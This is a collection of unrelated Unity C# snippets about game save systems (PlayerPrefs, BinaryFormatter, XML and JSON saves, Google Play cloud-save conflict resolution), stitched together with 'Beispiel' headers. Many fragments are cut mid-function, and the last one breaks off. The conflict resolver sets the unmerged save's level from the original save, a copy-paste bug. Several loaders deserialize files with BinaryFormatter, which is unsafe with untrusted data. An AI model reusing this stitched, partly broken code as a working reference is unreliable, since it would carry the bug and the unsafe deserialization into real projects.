// Use this for initialization
	void Awake () {
		//print (PlayerPrefs.GetString("Difficult"));
		// --- LOAD RESOURCES TO CHARACTER ---
		//this.prefab = Resources.Load<GameObject>("Prefabs/MainCharacters/Level02/hombre_lvl2");
		this.prefab = Resources.Load<GameObject>("Prefabs/MainCharacters/Level02/"+PlayerPrefs.GetString("Player")+"_lvl2");
		this.character = Instantiate (prefab, respawn.transform.position, prefab.transform.rotation) as GameObject;
		this.cs = this.character.GetComponent<CharacterScript> ();
		this.cm = this.character.GetComponent<ClickToMove_lvl2> ();

		this.invent = this.character.GetComponentInChildren <InventoryScript> ();
		this.map = GameObject.FindGameObjectWithTag ("Minimap").GetComponent<miniMapLv2> ();
		this.music = GameObject.FindGameObjectWithTag ("music_engine").GetComponent<Music_Engine_Script> ();

		// Memory Card Save/Load data
		this.mc = GameObject.FindGameObjectWithTag ("MemoryCard").GetComponent<MemoryCard> ();
		this.save = this.mc.saveData();
		this.load = this.mc.loadData();
		time_play = this.load.loadTimePlayed ();


		// --- LOAD RESOURCES TO MENU ---
		gui = new PauseMenuGUI();
		gui.initResources ();
		
		
		this.c = this.ambientLight.light.color;

	}
    void getComponents()
    {
        GameObject functions = GameObject.Find ("Functions");
        saveData = functions.GetComponent<SaveData> ();
        readCSV = functions.GetComponent<ReadCSV> ();

        gameData = GameObject.Find ("GameData").GetComponent<GameData> ();

        remainingGoldText = GameObject.Find ("RemainingGold").GetComponent<Text> ();

        ListAllItems_Values = GameObject.Find ("ListAllItems_Values");
        ListAllItems_SampleValue = GameObject.Find ("ListAllItems_SampleValue");

        ListAllItems_Buttons = GameObject.Find ("ListAllItems_Buttons");
        ListAllItems_SampleButton = GameObject.Find ("ListAllItems_SampleButton");

        ListStoreInv_Values = GameObject.Find ("ListStoreInv_Values");
        ListStoreInv_SampleValue = GameObject.Find ("ListStoreInv_SampleValue");

        ListStoreInv_Buttons = GameObject.Find ("ListStoreInv_Buttons");
        ListStoreInv_SampleButton = GameObject.Find ("ListStoreInv_SampleButton");

        ListAllItems_ScrollContent = GameObject.Find ("ListAllItems_ScrollContent");
        ListStoreInv_ScrollContent = GameObject.Find ("ListStoreInv_ScrollContent");

        ListAllItems_ScrollView = GameObject.Find ("ListAllItems_ScrollView");
        ListStoreInv_ScrollView = GameObject.Find ("ListStoreInv_ScrollView");

        ListAllItems_ScrollBar = GameObject.Find ("ListAllItems_ScrollBar");
        ListStoreInv_ScrollBar = GameObject.Find ("ListStoreInv_ScrollBar");

        StartGame_Button = GameObject.Find ("StartGame_Button");
        StartGame_Button.GetComponent<Button>().onClick.AddListener(delegate { startGame(); });
    }
Beispiel #3
0
	public void doSave()
	{
		tileTextures = new string[382];
		tileObjects = new string[382];
		objectRotations = new Quaternion[382];

		GlobalVariables stats = GameObject.Find("Game Manager").GetComponent<GlobalVariables>();
		experience = stats.experience;
		money = stats.money;
		
		for (int i = 1; i < 382; i++) 
		{
			GameObject tile = GameObject.Find("Floor Tile (" + i + ")");
			Debug.Log(tile.GetComponent<Renderer>().material.mainTexture.name);
			tileTextures[i] = tile.GetComponent<Renderer>().material.mainTexture.name;
			if(tile.GetComponent<FloorBehavior>().GetObject() != null)
			{
				tileObjects[i] = tile.GetComponent<FloorBehavior>().GetObject().ToString();
				//objectRotations[i] = tile.GetComponent<FloorBehavior>().GetRotation();
			}
		}
		
		SaveData data = new SaveData ();
		data.tileObjects = this.tileObjects;
		data.tileMaterials = tileTextures;
		data.objectRotations = this.objectRotations;
		data.experience = experience;
		data.money = money;
		
		SaveLoad.Save ("SaveData.dd", data);
	}
	// Use this for initialization
	void Start () {
		player = GameObject.FindGameObjectWithTag ("Player");
		move_script = player.GetComponent <ClickToMove_lvl2> ();
		skill_script = player.GetComponent <Skill_Controller> ();
		action_bar = GameObject.FindGameObjectWithTag ("ActionBar").GetComponent <ActionBarScript> ();
		boss_ctrl = boss.GetComponent <Skeleton_boss_controller> ();
		fade_out = fade.GetComponent<FadeOut_lvl2> ();

		// Memory Card Save/Load data
		this.mc = GameObject.FindGameObjectWithTag ("MemoryCard").GetComponent<MemoryCard> ();
		this.save = this.mc.saveData();
		this.load = this.mc.loadData();

		boss_ctrl.teleportToRespawn ();
		boss_ctrl.rotateToPlayer (playerPos.transform.position);
		
		move_script.teleport (playerPos.transform.position);
		player.transform.position = playerPos.transform.position;
		move_script.rotateToPos (boss.transform.position);
		
		move_script.enabled = false;
		skill_script.enabled = false;
		action_bar.enabled = false;
		
		player_hand = GameObject.FindGameObjectWithTag ("PlayerHand");
		firepunch = Resources.Load <GameObject> ("Lvl2/prefabs/Fire_punch");
		finalFireball = Resources.Load <GameObject> ("Lvl2/prefabs/Final_Fireball");
		
		dialogs[0] = Resources.Load<Texture2D>("Lvl2/Dialogs/boss_dialog_6");
		dialogs[1] = Resources.Load<Texture2D>("Lvl2/Dialogs/boss_dialog_7_"+PlayerPrefs.GetString ("Player"));
		
		timer = Time.time + 1.5f;
	}
 public static void Save(SaveData data)
 {
     string json = JsonMapper.ToJson(data);
     Debug.Log("save:"+json);
     PlayerPrefs.SetString(typeof(SaveData).ToString(), json);
     PlayerPrefs.Save();
 }
Beispiel #6
0
    public void SubmitSaveName()
    {
        switch (saveName) {
        case "Save 1":
        {
            GameManager.saveSpot1 = GetComponent<GUIText>().text;
            data = new SaveData();
            data.Level = GameManager.indexLevel;
            data.Strength = FindObjectOfType<Player>().Strength;
            data.Intelligence =FindObjectOfType<Player>().Intelligence;
            data.Agility = FindObjectOfType<Player>().Agility;
            data.Dexterity = FindObjectOfType<Player>().Dexterity;
            data.Luck = FindObjectOfType<Player>().Luck;
            data.Endurance = FindObjectOfType<Player>().Endurance;
            data.CurrentHealth = FindObjectOfType<Player>().CurrHealth;
            data.Credits = FindObjectOfType<Player>().Money;
            data.XP = FindObjectOfType<Player>().EXP;

            SaveData.Save(GameManager.saveSpot1, data);
            Debug.Log("Saved information");
        }
            break;
        case "Save 2":
            GameManager.saveSpot2 = GetComponent<GUIText>().text;
            break;
        case "Save 3":
            GameManager.saveSpot3 = GetComponent<GUIText>().text;
            break;
        }
        //saveName = GetComponent<GUIText>().text;

        Application.LoadLevel("SaveGame");
    }
Beispiel #7
0
        public CompactSaveData(SaveData data)
        {
            rmLst = new List<Rm>();
            ddLst = new List<Dd>();
            moLst = new List<Mo>();
            blLst = new List<Bl>();
            srLst = new List<Sr>();
            foreach (Room r in data.roomList)
            {
                rmLst.Add(new Rm(r));

                foreach (Doodad d in r.doodads)
                {
                    ddLst.Add(new Dd(d));
                }

                foreach (Monster m in r.monsters)
                {
                    moLst.Add(new Mo(m));
                }

                foreach (Block b in r.blocks)
                {
                    if(b.staticObject == false)
                        blLst.Add( new Bl(b));
                }
            }
            foreach (Sector s in data.sectorList)
            {
                srLst.Add(new Sr(s));
            }
            player = new Player(data.player);
        }
        public static INodeOperation CreateOperation(SaveData saveData, NodeData currentNodeData, Action<NodeException> errorHandler)
        {
            INodeOperation executor = null;

            try {
                switch (currentNodeData.Kind) {
                case NodeKind.LOADER_GUI: {
                        executor = new IntegratedGUILoader();
                        break;
                    }
                case NodeKind.FILTER_GUI: {
                        // Filter requires multiple output connections
                        var connectionsToChild = saveData.Connections.FindAll(c => c.FromNodeId == currentNodeData.Id);
                        executor = new IntegratedGUIFilter(connectionsToChild);
                        break;
                    }

                case NodeKind.IMPORTSETTING_GUI: {
                        executor = new IntegratedGUIImportSetting();
                        break;
                    }
                case NodeKind.MODIFIER_GUI: {
                        executor = new IntegratedGUIModifier();
                        break;
                    }
                case NodeKind.GROUPING_GUI: {
                        executor = new IntegratedGUIGrouping();
                        break;
                    }
                case NodeKind.PREFABBUILDER_GUI: {
                        executor = new IntegratedPrefabBuilder();
                        break;
                    }

                case NodeKind.BUNDLECONFIG_GUI: {
                        executor = new IntegratedGUIBundleConfigurator();
                        break;
                    }

                case NodeKind.BUNDLEBUILDER_GUI: {
                        executor = new IntegratedGUIBundleBuilder();
                        break;
                    }

                case NodeKind.EXPORTER_GUI: {
                        executor = new IntegratedGUIExporter();
                        break;
                    }

                default: {
                        Debug.LogError(currentNodeData.Name + " is defined as unknown kind of node. value:" + currentNodeData.Kind);
                        break;
                    }
                }
            } catch (NodeException e) {
                errorHandler(e);
            }

            return executor;
        }
 private static void LoadFromFile()
 {
     XmlSerializer serializer = new XmlSerializer (typeof(SaveData));
     FileStream stream = new FileStream (getFilePath(), FileMode.OpenOrCreate);
     dataInstance = serializer.Deserialize (stream) as SaveData;
     stream.Close ();
 }
    void Start()
    {
        //Create data instance
        data = new SaveData(Application.streamingAssetsPath+"\\"+fileName+".uml");

        //Add keys with significant names and values
        data["Name"] = "Steve";
        data["Dude"] = "Tom";
        data["Key"] = true;
        data["HealthPotions"] = 10;
        data["Position"] = new Vector3(20, 3, -5);
        data["Rotation"] = new Quaternion(0.1f,0.1f,0.1f,1);

        //Save the data
        data.Save();

        //Load the data we just saved
        data = SaveData.Load(Application.streamingAssetsPath+"\\"+fileName+".uml");

        int potions; //variable for out value

        //Use data
        Debug.Log("Name : "+ data.GetValue<string>("Name"));
        Debug.Log("Has health potions : " + data.TryGetValue<int>("HealthPotions", out potions));
        Debug.Log("Health potion count : " + potions);
        Debug.Log("Has buddy : " + data.HasKey("Dude"));
        Debug.Log("Buddy's name : " + data.GetValue<string>("Dude"));
        Debug.Log("Current position : " + data.GetValue<Vector3>("Position"));
        Debug.Log("Has key : " + data.GetValue<bool>("Key"));
        Debug.Log("Rotation : " + data.GetValue<Quaternion>("Rotation"));
    }
Beispiel #11
0
	public static void Save(SaveData data){	
//		Debug.Log(path);
		
		BinaryFormatter bf = new BinaryFormatter ();
		FileStream fs = File.Open (path, FileMode.OpenOrCreate);
		bf.Serialize (fs, data);
		fs.Close ();
	}
 public void ResetFile()
 {
     loaded_data = new SaveData{
         lvl = 0,
         puztrack = "1o2o3o4o5o6o7o8o9o10o11o12o13o14o15o",
         storytrigger = "0"
     };
     WriteFile();
 }
 public void PuzzlePiecePlaced(int _piecenumber)
 {
     loaded_data = new SaveData{
         lvl = loaded_data.lvl,
         puztrack = loaded_data.puztrack.Replace (_piecenumber.ToString () + "x", _piecenumber.ToString () + "p"),
         storytrigger = loaded_data.storytrigger
     };
     WriteFile ();
 }
 public void Load()
 {
     if (File.Exists(url + fileName)) {
         BinaryFormatter bf = new BinaryFormatter();
         FileStream file = File.Open(url + fileName, FileMode.Open);
         saveData = (SaveData)bf.Deserialize(file);
         file.Close();
     }
 }
Beispiel #15
0
	public static string currentFilePath = "SaveData.dd";    // Edit this for different save files
	
	// Call this to write data
	/*public static void Save ()  // Overloaded
	{
		Save (currentFilePath);
	}*/
	public static void Save (string filePath, SaveData data)
	{
		//SaveData data = new SaveData ();
		
		Stream stream = File.Open(filePath, FileMode.Create);
		BinaryFormatter bformatter = new BinaryFormatter();
		bformatter.Binder = new VersionDeserializationBinder(); 
		bformatter.Serialize(stream, data);
		stream.Close();
	}
Beispiel #16
0
    void Start()
    {
        data = SaveData.LoadDataFromXML("current");
        var sceneInfo = data.GetSceneByName(SceneManager.GetActiveScene().name);

        if (sceneInfo != null)
        {
            GameObject.FindGameObjectWithTag("Player").transform.position = sceneInfo.playerPosition;
            data.currentScene = SceneManager.GetActiveScene().name;
        }
    }
Beispiel #17
0
	// Call this to load from a file into "data"
	//public static void Load ()  { Load(currentFilePath);  }   // Overloaded
	public static SaveData Load (string filePath) 
	{
		SaveData data = new SaveData ();
		Stream stream = File.Open(filePath, FileMode.Open);
		BinaryFormatter bformatter = new BinaryFormatter();
		bformatter.Binder = new VersionDeserializationBinder(); 
		data = (SaveData)bformatter.Deserialize(stream);
		stream.Close();

		return data;
	}
Beispiel #18
0
    public static void Load(string filePath)
    {
        SaveData data = new SaveData ();
        Stream stream = File.Open(filePath, FileMode.Open);
        BinaryFormatter bformatter = new BinaryFormatter();
        bformatter.Binder = new VersionDeserializationBinder();
        data = (SaveData)bformatter.Deserialize(stream);
        stream.Close();

        // Now use "data" to access your Values
    }
Beispiel #19
0
    public static void Load(string filePath)
    {
        SaveData data = new SaveData();

        Stream stream = File.Open(filePath, FileMode.Open);
        BinaryFormatter bformatter = new BinaryFormatter();
        bformatter.Binder = new VersionDeserializationBinder();
        data = (SaveData)bformatter.Deserialize(stream);
        stream.Close();

        Debug.Log(data.IsSave);
    }
    // Use this for initialization
    void Start()
    {
        data = new SaveData(password, Application.persistentDataPath, fileName);

        int numBombs = int.Parse(data.Get_Value("numBombs", "0"));
        Debug.Log(numBombs.ToString());

        numBombs = 5;
        data.Set_Value("numBombs", numBombs.ToString());

        data.Save_Data();
    }
    public void SaveResources()
    {
        BinaryFormatter bf = new BinaryFormatter();
        FileStream file = File.Create(Application.persistentDataPath + "/SaveData.kappa");
        SaveData saveData = new SaveData();
        saveData.gold = gold;

        bf.Serialize(file, saveData);
        file.Close();

        Debug.Log(Application.persistentDataPath);
    }
	// Use this for initialization
	void Start () {

		// Memory Card Save/Load data
		this.mc = GameObject.FindGameObjectWithTag ("MemoryCard").GetComponent<MemoryCard> ();
		this.save = this.mc.saveData ();
		this.load = this.mc.loadData ();

		this.save.saveTimePlayed (GameEngineLevel01.getTimePlay());
		this.save.saveLevel (4);
		this.gui = new ResultsMenuGUI ();
		this.gui.initResources ();
	}
Beispiel #23
0
       public void Initialize(RenderContext context)
       {
           //Create new savedata file if it doesn't exist yet
           if (!File.Exists(SaveDataFile))
           {
               SaveData data = new SaveData();
               data.HighestDistance = 0;

               XmlWriter.SaveScore(data, SaveDataFile);
           }
           SaveScore(); // actually loads the score

           isActive = true;

           m_ViewPort = context.GraphicsDevice.Viewport;

           //Load a font
           TextRenderer.SetFont(context.Content.Load<SpriteFont>("Font/Standard"));

           //Create player an set him at center of screen
           m_StartPos = new Vector2(context.ViewPortSize.X * 0.25f, context.ViewPortSize.Y * 0.25f);
           m_Player = new Player(context, m_StartPos);
           m_Player.Initialize(context);
           m_Player.Translate(m_StartPos);

           context.Player = m_Player;

           //Generate a random level
           m_LevelManager = new LevelManager();
           m_LevelManager.Initialize(context);

           //AddParalaxing backgrounds
           m_BgManager = new BackgroundManager(context);
           m_BgManager.AddBackgound(new Background("background", new Vector2(0, 0), 1.0f, false, context));
           m_BgManager.AddBackgound(new Background("1", new Vector2(60, 20), 1.0f, false, context));
           m_BgManager.AddBackgound(new Background("2", new Vector2(100, 70), 1, false, context));
           m_BgManager.AddBackgound(new Background("3", new Vector2(200, 40), 1, false, context));
           m_BgManager.AddBackgound(new Background("4", new Vector2(300, 50), 1, false, context));
           m_BgManager.AddBackgound(new Background("5", new Vector2(400, 200), 1, false, context));

           #if(DEBUG)
           m_MonoDebug = new DebugViewXNA(context.World);
           m_MonoDebug.AppendFlags(DebugViewFlags.DebugPanel);
           m_MonoDebug.DefaultShapeColor = Color.Red;
           m_MonoDebug.SleepingShapeColor = Color.LightGray;
           m_MonoDebug.LoadContent(context.GraphicsDevice, context.Content);
           #endif

           SoundManager.Play("Background", true);

           HitScreen = new GameSprite("Textures/GUI/hit", context);
           PickScreen = new GameSprite("Textures/GUI/pickupHit", context);
       }             
Beispiel #24
0
	// LOAD TEXTURE RESOURCES
	public void initResources () {

		this.level = PlayerPrefs.GetInt ("Level");
		// Memory Card Save/Load data
		this.mc = GameObject.FindGameObjectWithTag ("MemoryCard").GetComponent<MemoryCard> ();
		this.save = this.mc.saveData ();

		this.invent = GameObject.FindGameObjectWithTag("Player").GetComponentInChildren <InventoryScript> ();
		this.map = GameObject.FindGameObjectWithTag ("Minimap").GetComponent<miniMapLv1> ();
		this.map2 = GameObject.FindGameObjectWithTag ("Minimap").GetComponent<miniMapLv2> ();

		this.shadow = GameObject.FindGameObjectWithTag("Light");
		this.audio = GameObject.FindGameObjectWithTag("Audio");

		// MENU PAUSE
		this.backgroundTexture = Resources.Load<Texture2D>("PauseMenu/background_pause");
		
		this.continueTexture = Resources.Load<Texture2D>("PauseMenu/continue");
		this.hoverContinueTexture = Resources.Load<Texture2D>("PauseMenu/hover_continue");
		
		this.resetTexture = Resources.Load<Texture2D>("PauseMenu/reset");
		this.hoverResetTexture = Resources.Load<Texture2D>("PauseMenu/hover_reset");

		this.controlTexture = Resources.Load<Texture2D>("PauseMenu/controls");
		this.hoverControlTexture = Resources.Load<Texture2D>("PauseMenu/hover_controls");

		this.optionTexture = Resources.Load<Texture2D>("PauseMenu/option");
		this.hoverOptionTexture = Resources.Load<Texture2D>("PauseMenu/hover_option");
		
		this.exitTexture = Resources.Load<Texture2D>("PauseMenu/exit");
		this.hoverExitTexture = Resources.Load<Texture2D>("PauseMenu/hover_exit");

		// MENU KEYWORD
		this.keywordTexture = Resources.Load<Texture2D>("PauseMenu/keyword");

		// MENU CONFIRM
		this.confirmTexture = Resources.Load<Texture2D>("PauseMenu/background_confirm");

		// MENU OPTION
		this.backgroundOptionTexture = Resources.Load<Texture2D>("PauseMenu/background_opciones");
		this.checkTexture = Resources.Load<Texture2D>("PauseMenu/checked_checkbox");
		this.unCheckTexture = Resources.Load<Texture2D>("PauseMenu/unchecked_checkbox");

		this.yesTexture = Resources.Load<Texture2D>("PauseMenu/yes");
		this.hoverYesTexture = Resources.Load<Texture2D>("PauseMenu/hover_yes");
		
		this.noTexture = Resources.Load<Texture2D>("PauseMenu/no");
		this.hoverNoTexture = Resources.Load<Texture2D>("PauseMenu/hover_no");
		
		this.music = GameObject.FindGameObjectWithTag ("music_engine").GetComponent<Music_Engine_Script> ();
		
	}
Beispiel #25
0
 /**
 Static method that loads the data on disk to the save data
 */
 public static bool load()
 {
     try {
         IFormatter formatter = new BinaryFormatter();
         Stream stream = new FileStream(".\\Assets\\Resources\\save_data.bin", FileMode.Open);
         save_data = formatter.Deserialize(stream) as SaveData;
         stream.Close();
         return true;
     } catch(Exception e) {
         Debug.Log("Can't load, no save data");
         return false;
     }
 }
Beispiel #26
0
    public void Guardar()
    {
        Debug.Log ("Datos ");
        BinaryFormatter bf = new BinaryFormatter();
        FileStream file = File.Create(rutaArchivo);

        SaveData datos = new SaveData();
        datos.ExpObetenida = ExpOnMemory;

        bf.Serialize(file, datos);

        file.Close();
    }
Beispiel #27
0
    // Set Ranking Data
    public void SetRankScore(int rank, string name, string score, SaveData.TRACK_RECORD track_record = SaveData.TRACK_RECORD.NONE, bool mine = false)
    {
        // Set Rank
        NGUITools.SetActiveChildren(m_RankParentObject, false);
        switch( rank ){
            case 1:
                NGUITools.SetActive(m_TopRankSprite.gameObject, true);
                break;

            case 2:
                NGUITools.SetActive(m_SecondRankSprite.gameObject, true);
                break;

            case 3:
             	NGUITools.SetActive(m_ThirdRankSprite.gameObject, true);
                break;

            default:
                NGUITools.SetActive(m_RankLabel.gameObject, true);
                m_RankLabel.text = rank.ToString() + App.UI.GetCommonMessage(Message.Common_msg.RANKING_RANK);
                break;
        }

        // Set Name
        if( mine == true ){
            string r = ((int)(m_MyScoreColor.r * 255.0f)).ToString("X2");
            string g = ((int)(m_MyScoreColor.g * 255.0f)).ToString("X2");
            string b = ((int)(m_MyScoreColor.b * 255.0f)).ToString("X2");

            string color_tag = "[" + r + g + b + "]";

            m_NameLabel.text = color_tag + name + "[-]";
            // Set Score
            m_ScoreLabel.text = color_tag + score + "[-]";

        }
        else{
            m_NameLabel.text = name;
            // Set Score
            m_ScoreLabel.text = score;
        }
        // Track Record Setting
        foreach(UISprite sprite in m_TrackRecords){
            NGUITools.SetActive(sprite.gameObject, false);
        }

        if( track_record != SaveData.TRACK_RECORD.NONE ){
            NGUITools.SetActive(m_TrackRecords[(int)track_record].gameObject, true);
        }
    }
Beispiel #28
0
    public static void Load(string filePath)
    {
        SaveData data = new SaveData ();
        Stream stream = File.Open (filePath, FileMode.Open);
        BinaryFormatter bformatter = new BinaryFormatter ();
        bformatter.Binder = new VersionDeserializationBinder ();
        data = (SaveData)bformatter.Deserialize (stream);
        stream.Close ();

        GAMECONSTANTS.activeQuests = data.activeQuests;
        GAMECONSTANTS.completedQuests = data.completedQuests;
        GAMECONSTANTS.playerLocation = data.playerLocation;
        Application.LoadLevel (data.mapName);
    }
    // Use this for initialization
    void Start()
    {
        if( cachedTransform == null )
        { cachedTransform = this.transform; }

        if( cachedSprite == null )
        { cachedSprite = gameObject.GetComponent<SpriteRenderer>(); }

        if( cachedAnimator == null )
        { cachedAnimator = gameObject.GetComponent<Animator>(); }

        saveData = SaveCenter.GetObject<SaveData>( SaveKey.Test.Player, saveData );
        saveData.Deserialize( this );
    }
	// Use this for initialization
	void Start () {
		// Saving Data
		SaveData saveData = new SaveData();
		saveData.testString = testString;

		SaveEngine.Save ("testSave01", saveData);

		// Loading Data
		/*SaveData saveData = SaveEngine.Load ("testSave01");

		testString = saveData.testString;

		Debug.Log (testString);*/
	}
 public string resetdata(params string[] args)
 {
     SaveData.ResetInvData();
     return("Inventory Data Reset");
 }
Beispiel #32
0
    /// <summary>
    /// Assigns save data to game data and decides whether to use local or cloud save data.
    /// </summary>
    private void CompareCloudAndLocalSaveData(SaveData cloudData, SaveData localData)
    {
        Debug.Log("[GPGS BUG] CompareCloudAndLocalSaveData entered.");
        // if first time that game has been launched after installing and successfully log in to GPG
        if (PlayerPrefs.GetInt("IsFirstTime") == 1)
        {
            Debug.Log("[GPGS BUG] CompareCloudAndLocalSaveData: first time.");
            // set playerpref to be 0 (false)
            PlayerPrefs.SetInt("IsFirstTime", 0);
            // cloud save is more up to date
            //Samuel 19 jan 2020 - Commented
            #region commented
            //if (cloudData.Timestamp > localData.Timestamp)
            //{
            //    SaveLocal(cloudData);
            //}
            #endregion

            //change to always get from cloud if there's cloud save
            try
            {
                SaveLocal(cloudData);
            }
            catch (Exception ex)
            {
                Debug.Log("[GPGS BUG] CompareCloudAndLocalSaveData: Exception.");
                Debug.Log(ex.Message);
                throw new Exception(ex.Message);
            }
        }
        // if not first time, start comparing
        else
        {
            Debug.Log("[GPGS BUG] CompareCloudAndLocalSaveData: not first time.");
            // if one Timestamp is higher than other, update it
            #region commented
            //if (localData.Timestamp > cloudData.Timestamp)
            //{
            // update cloud save
            // first set GameData save data to be equal to local data
            //GameData.Instance.saveData = localData;
            //isCloudDataLoaded = true;
            // save updated GameData save data to cloud
            //    SaveData();
            //    return;
            //}
            #endregion

            //Samuel 19 Jan 2020 - Changed validation to fartest lvl
            // compare cloud with local one which one is the fartest one
            if (cloudData.LastLevelNumber > localData.LastLevelNumber)
            {
                Debug.Log("[GPGS BUG] CompareCloudAndLocalSaveData: cloud data is farther than local data.");
                isDone = true;
                GameData.Instance.saveData = cloudData;
                SaveLocal(cloudData);
                Debug.Log("[GPGS BUG] CompareCloudAndLocalSaveData: GameData.Instance.saveData set to cloud data.");
                return;
            }
            // compare cloud with local one which one has most stars
            else if (cloudData.LastLevelNumber == localData.LastLevelNumber)
            {
                Debug.Log("[GPGS BUG] CompareCloudAndLocalSaveData: cloud data is equal to local data.");
                int Cloudstar = 0;
                int localStar = 0;
                foreach (var item in cloudData.levelSaveData)
                {
                    Cloudstar += item.stars;
                }
                foreach (var item in localData.levelSaveData)
                {
                    localStar += item.stars;
                }

                if (Cloudstar > localStar)
                {
                    Debug.Log("[GPGS BUG] CompareCloudAndLocalSaveData: cloud has more stars.");
                    isDone = true;
                    GameData.Instance.saveData = cloudData;
                    SaveLocal(cloudData);
                    Debug.Log("[GPGS BUG] CompareCloudAndLocalSaveData: GameData.Instance.saveData set to cloud data.");
                    return;
                }
            }

            GameData.Instance.saveData = localData;
            Debug.Log("[GPGS BUG] CompareCloudAndLocalSaveData: GameData.Instance.saveData set to local data.");
            isCloudDataLoaded = true;
            SaveData();
            return;
        }
        // if code above doesn't trigger return and code below executes
        // cloud save and local save are identical, can load either one
        GameData.Instance.saveData = cloudData;
        Debug.Log("[GPGS BUG] CompareCloudAndLocalSaveData: GameData.Instance.saveData set to cloud data.");
        isCloudDataLoaded = true;
        isDone            = true;
        EndLoading();
    }
Beispiel #33
0
 /// <summary>
 /// ユーザデータをセーブする処理
 /// </summary>
 public void SaveUserData()
 {
     SaveData.SetClass <UserData>(GameData.SAVE_USERDATA, GameData.UserData);
     SaveData.Save();
 }
Beispiel #34
0
 void Start()
 {
     saveData = GameObject.FindGameObjectWithTag("SaveData").GetComponent <SaveData>();
     UpdateSlots();
 }
Beispiel #35
0
    /// <summary>
    /// Callback for resolving metadata conflict.
    /// </summary>
    private void ResolveConflict(IConflictResolver resolver, ISavedGameMetadata original, byte[] originalData, ISavedGameMetadata unmerged, byte[] unmergedData)
    {
        Debug.Log("[GPGS BUG] ResolveConflict entered.");
        if (originalData == null)
        {
            Debug.Log("[GPGS BUG] ResolveConflict: originalData null. Choose unmerged.");
            resolver.ChooseMetadata(unmerged);
        }
        else if (unmergedData == null)
        {
            Debug.Log("[GPGS BUG] ResolveConflict: unmergedData null. Choose original.");
            resolver.ChooseMetadata(original);
        }
        else
        {
            // deserialising byte data into Save Data
            SaveData originalSaveData = DeserialiseSaveData(originalData);
            SaveData unmergedSaveData = DeserialiseSaveData(unmergedData);

            #region Old Timestamp-based Validation
            //// getting Timestamp
            //DateTime originalTimestamp = originalSaveData.Timestamp;
            //DateTime unmergedTimestamp = unmergedSaveData.Timestamp;

            //// if original Timestamp is more recent than unmerged Timestamp
            //if (originalTimestamp > unmergedTimestamp)
            //{
            //    resolver.ChooseMetadata(original);
            //    return;
            //}
            //// unmerged Timestamp is more recent than original
            //else if (unmergedTimestamp > originalTimestamp)
            //{
            //    resolver.ChooseMetadata(unmerged);
            //    return;
            //}
            //// if return doesn't get called, original and unmerged are identical
            //// can keep either one
            //resolver.ChooseMetadata(original);
            #endregion

            // getting last level
            int originalLastLevel = originalSaveData.LastLevelNumber;
            int unmergedLastLevel = originalSaveData.LastLevelNumber;

            // if original last level is farther than unmerged last level
            if (originalLastLevel > unmergedLastLevel)
            {
                resolver.ChooseMetadata(original);
                return;
            }
            // if unmerged last level is farther than original last level
            else if (unmergedLastLevel > originalLastLevel)
            {
                resolver.ChooseMetadata(unmerged);
                return;
            }

            // if return doesn't get called, original and unmerged last levels are identical
            // getting stars
            int originalStars = 0;
            int unmergedStars = 0;

            foreach (var levelSaveData in originalSaveData.levelSaveData)
            {
                originalStars += levelSaveData.stars;
            }

            foreach (var levelSaveData in unmergedSaveData.levelSaveData)
            {
                unmergedStars += levelSaveData.stars;
            }

            // if original stars is more than unmerged stars
            if (originalStars > unmergedStars)
            {
                Debug.Log("[GPGS BUG] ResolveConflict: originalStars more. Choose original.");
                resolver.ChooseMetadata(original);
                return;
            }
            // if unmerged stars is more than original stars
            else if (unmergedStars > originalStars)
            {
                Debug.Log("[GPGS BUG] ResolveConflict: unmergedStars more. Choose unmerged.");
                resolver.ChooseMetadata(unmerged);
                return;
            }

            // if return doesn't get called, original and unmerged are identical
            // can choose either one
            Debug.Log("[GPGS BUG] ResolveConflict: identical. Choose original.");
            resolver.ChooseMetadata(original);
        }
    }
 public string resetEverything(params string[] args)
 {
     SaveData.ResetEverything();
     return("The deed is done");
 }
Beispiel #37
0
 public override void Running(SaveData save)
 {
     save.addonSkill[19] = true;
 }
Beispiel #38
0
 private void OnDisable()
 {
     RoomManager.GetInstance().avatarData.SetPlayerAccountData(PlayerAccountManager.instance);
     SaveData.Save(RoomManager.GetInstance().avatarData);
 }
Beispiel #39
0
    public static void InitLoad()
    {
        Coroutines coroutines = GameObject.FindObjectOfType(typeof(Coroutines)) as Coroutines;

        for (int i = 0; i < GlobalSaves.saveInGame.Length; i++)
        {
            GlobalSaves.saveInGame[i] = new SaveInGame();
        }
        TextAchievments.ChangeLanguage();

        string loadedData = null;


        if (!PlayerPrefs.HasKey("BestS"))
        {
            PlayerPrefs.SetString("BestS", "");
        }
        else
        {
            loadedData = PlayerPrefs.GetString("BestS");
            int    charsCount = loadedData.Length;
            byte[] bytes      = new byte[charsCount / 2];//
            for (int i = 0; i < charsCount; i += 2)
            {
                bytes[i / 2] = Convert.ToByte(loadedData.Substring(i, 2), 16);
            }
            loadedData = Encoding.UTF8.GetString(bytes, 0, bytes.Length);

            GlobalSaves.sv            = JsonUtility.FromJson <SaveInJson>(loadedData);
            GlobalSaves.saveInGame    = JsonHelper.FromJson <SaveInGame>(GlobalSaves.sv.saveInGame);
            GlobalVariables.isOnSound = GlobalSaves.sv.isOnSound;
            if (GlobalVariables.isOnSound == false)
            {
                GlobalVariables.isOnSound = true;
                Sounds.Invoke();
            }

            SaveInGame.SavesCountHelp = GlobalSaves.sv.SavesCountHelp;

            GlobalVariables.isPossessedHouse = GlobalSaves.sv.isPossessedHouse;
        }

        for (int numberAchievments = 0; numberAchievments < 38; numberAchievments++)
        {
            SaveInGame.isCompleteAchievment[numberAchievments]      = GlobalSaves.sv.completeAchievment[numberAchievments];
            SaveInGame.isPressCompleteAchievment[numberAchievments] = GlobalSaves.sv.isPressCompleteAchievment[numberAchievments];

            if (SaveInGame.isCompleteAchievment[numberAchievments] == true)
            {
                GlobalSceneObjects.achievmentsContent.transform.GetChild(numberAchievments).Find("Fish").Find("CountHelpImage").gameObject.SetActive(false);
                GlobalSceneObjects.achievmentsContent.transform.GetChild(numberAchievments).Find("Fish").Find("CheckMark").gameObject.SetActive(true);
            }
        }


        if (GlobalVariables.isRussianLanguage == true && GlobalVariables.isPossessedHouse == true)
        {
            GlobalSceneObjects.showNextPage.transform.Find("Text").GetComponent <TextMeshProUGUI>().text = "Одержимые";
        }
        if (GlobalVariables.isRussianLanguage == false && GlobalVariables.isPossessedHouse == true)
        {
            GlobalSceneObjects.showNextPage.transform.Find("Text").GetComponent <TextMeshProUGUI>().text = "Possessed";
        }
        if (GlobalVariables.isRussianLanguage == true && GlobalVariables.isPossessedHouse == false)
        {
